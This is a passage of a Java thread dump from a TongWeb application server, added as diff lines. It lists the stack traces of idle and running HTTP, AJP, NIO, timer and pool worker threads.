+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-1" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+" server-work-5" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-Acceptor-0" #160 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:869)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JDBCLeakCheckTimer" #12 daemon [WAITING] on java.util.TaskQueue@56e33c9
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"NioBlockingSelector.BlockPoller-2" #133 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"IntelligentRouterHealthInfoCollector" #100 [TIMED_WAITING] on java.util.TaskQueue@5c635c5e
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-8080-exec-9" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"WebSocketClient-AsyncIO-5" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Scheduler(0)" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6a6e5c44
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-5" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-8" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-10" #157 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-1" #43 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-4" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-ClientPoller-0" #130 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-8" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-3" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"persistence" #103 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@3777c947
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460)
+ at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408)
+
+"Global transaction Timer" #162 [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.tongejb.resource.jdbc.managed.xa.GlobalTransactionServer$1.run(GlobalTransactionServer.java:51)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-9" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"main" #1 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:178)
+ at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767)
+ at com.tongweb.web.thor.startup.Tomee.start(Unknown Source)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:412)
+ at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:558)
+
+"http-nio-8443-exec-8" #155 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"com.tongweb.tongejb.pool.scheduler.1" #54 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2fe33f91
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-6" #139 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-1" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"persistence" #96 daemon [WAITING] on com.tongweb.monitor.persistence.TaskQueue@679487d4
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:429)
+ at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408)
+
+" server-work-2" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-8" #127 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@50aa5666
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
+
+"ajp-bio-8009-exec-3" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"nio-accept-5100-1-1" #67 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622)
+ at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310)
+ at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116)
+ at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-1" #88 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-7" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-Acceptor-0" #132 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:869)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-4" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@794e225c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-ClientPoller-1" #131 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228)
